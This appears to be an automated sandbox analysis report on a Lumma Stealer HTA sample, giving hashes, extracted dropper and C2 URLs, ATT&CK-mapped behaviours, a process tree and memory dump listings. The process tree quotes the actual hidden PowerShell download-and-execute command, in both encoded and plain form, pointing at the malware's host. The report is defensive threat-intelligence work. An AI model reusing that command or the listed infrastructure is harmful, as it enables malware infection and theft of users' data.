lumma | aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9

Resubmissions

07-01-2025 03:19

250107-dt8tqs1rc1 10

07-01-2025 03:10

250107-dpd4ka1pdv 10

07-01-2025 03:09

250107-dnmz3stlcp 10

07-01-2025 02:39

250107-c5hk9asmbl 10

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-01-2025 02:39

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Report Analysis Logs

General

Target

aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta
Size

1.6MB
MD5

dbf37b54acb5e3b86a3dc93ec3b7dc24
SHA1

65100e3e23406a9f92880e202e4b006fd39f33d6
SHA256

aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9
SHA512

0f785989935702715872e6621ecf9ad003f5d3d9eb8396a32fa5c0506f636a979e5c98c292885207124029c05c6dd88df33d2b91b028cdb5055ce9000dac7ae9
SSDEEP

24576:g/ISwmcPODvnBj3SoGDw/ISwmcPODvnBjc/ISwmcPODvnBj1/ISwmcPODvnBjf:g/IMcAYoGc/IMcAu/IMcAn/IMcAN

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://klipdiheqoe.shop/ruwkl.png

Extracted

Family

lumma

https://grooveoiy.cyou/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3000 created 3488	3000	powershell.exe	56

Blocklisted process makes network request 3 IoCs

flow	pid	Process
15	3000	powershell.exe
41	3536	powershell.exe
51	3536	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3000	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3000 set thread context of 3536	3000	powershell.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4580	powershell.exe
4580	powershell.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4580	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1324 wrote to memory of 4580	1324	mshta.exe	82
PID 1324 wrote to memory of 4580	1324	mshta.exe	82
PID 1324 wrote to memory of 4580	1324	mshta.exe	82
PID 4580 wrote to memory of 3000	4580	powershell.exe	84
PID 4580 wrote to memory of 3000	4580	powershell.exe	84
PID 4580 wrote to memory of 3000	4580	powershell.exe	84
PID 3000 wrote to memory of 3536	3000	powershell.exe	95
PID 3000 wrote to memory of 3536	3000	powershell.exe	95
PID 3000 wrote to memory of 3536	3000	powershell.exe	95
PID 3000 wrote to memory of 3536	3000	powershell.exe	95
PID 3000 wrote to memory of 3536	3000	powershell.exe	95
PID 3000 wrote to memory of 3536	3000	powershell.exe	95
PID 3000 wrote to memory of 3536	3000	powershell.exe	95
PID 3000 wrote to memory of 3536	3000	powershell.exe	95
PID 3000 wrote to memory of 3536	3000	powershell.exe	95
PID 3000 wrote to memory of 3536	3000	powershell.exe	95

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3488
- C:\Windows\SysWOW64\mshta.exe
  C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4580
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3000
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
def65711d78669d7f8e69313be4acf2e

SHA1
6522ebf1de09eeb981e270bd95114bc69a49cda6

SHA256
aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

SHA512
05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
310a4297e4d7d51b8d7805a527247956

SHA1
9c2cda75d38dd4133240f5159a803507ca5598e0

SHA256
7f417dd5a8f13c0d0268051f3513a663a6028ef2ad244fca90b194f2bcdaa009

SHA512
6f42c0a536406cee32cc76060409f33da0fa0762c26ab8a0fcdcb090ee9b45abea4643a0a38d05d7817c7dffe07921bd4dfcca122e4eae53297c2ffcae09e599

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zrfebbsi.nxt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3000-76-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-72-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-1364-0x0000000021690000-0x00000000216E4000-memory.dmp

Filesize
336KB

Download
memory/3000-1363-0x0000000007D20000-0x0000000007D6C000-memory.dmp

Filesize
304KB

Download
memory/3000-104-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-1361-0x00000000079C0000-0x0000000007A44000-memory.dmp

Filesize
528KB

Download
memory/3000-102-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-52-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-54-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-56-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-58-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-60-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-62-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-64-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-36-0x0000000005F00000-0x0000000006254000-memory.dmp

Filesize
3.3MB

Download
memory/3000-66-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-38-0x0000000007DB0000-0x000000000842A000-memory.dmp

Filesize
6.5MB

Download
memory/3000-40-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/3000-41-0x0000000021430000-0x0000000021564000-memory.dmp

Filesize
1.2MB

Download
memory/3000-42-0x0000000021560000-0x000000002168A000-memory.dmp

Filesize
1.2MB

Download
memory/3000-43-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-68-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-48-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-46-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-44-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-100-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-1362-0x0000000007A40000-0x0000000007AC0000-memory.dmp

Filesize
512KB

Download
memory/3000-50-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-84-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-94-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-92-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-90-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-88-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-86-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-98-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-96-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-82-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-80-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-78-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-70-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/3000-74-0x0000000021560000-0x0000000021683000-memory.dmp

Filesize
1.1MB

Download
memory/4580-22-0x0000000007460000-0x0000000007A04000-memory.dmp

Filesize
5.6MB

Download
memory/4580-21-0x00000000061A0000-0x00000000061C2000-memory.dmp

Filesize
136KB

Download
memory/4580-1-0x0000000002660000-0x0000000002696000-memory.dmp

Filesize
216KB

Download
memory/4580-20-0x0000000006130000-0x000000000614A000-memory.dmp

Filesize
104KB

Download
memory/4580-2-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/4580-4-0x0000000004C80000-0x0000000004CA2000-memory.dmp

Filesize
136KB

Download
memory/4580-0-0x000000007521E000-0x000000007521F000-memory.dmp

Filesize
4KB

Download
memory/4580-26-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/4580-19-0x0000000006E10000-0x0000000006EA6000-memory.dmp

Filesize
600KB

Download
memory/4580-18-0x0000000005C90000-0x0000000005CDC000-memory.dmp

Filesize
304KB

Download
memory/4580-17-0x0000000005C40000-0x0000000005C5E000-memory.dmp

Filesize
120KB

Download
memory/4580-16-0x0000000005760000-0x0000000005AB4000-memory.dmp

Filesize
3.3MB

Download
memory/4580-3-0x0000000004E50000-0x0000000005478000-memory.dmp

Filesize
6.2MB

Download
memory/4580-6-0x00000000055F0000-0x0000000005656000-memory.dmp

Filesize
408KB

Download
memory/4580-5-0x0000000005580000-0x00000000055E6000-memory.dmp

Filesize
408KB

Download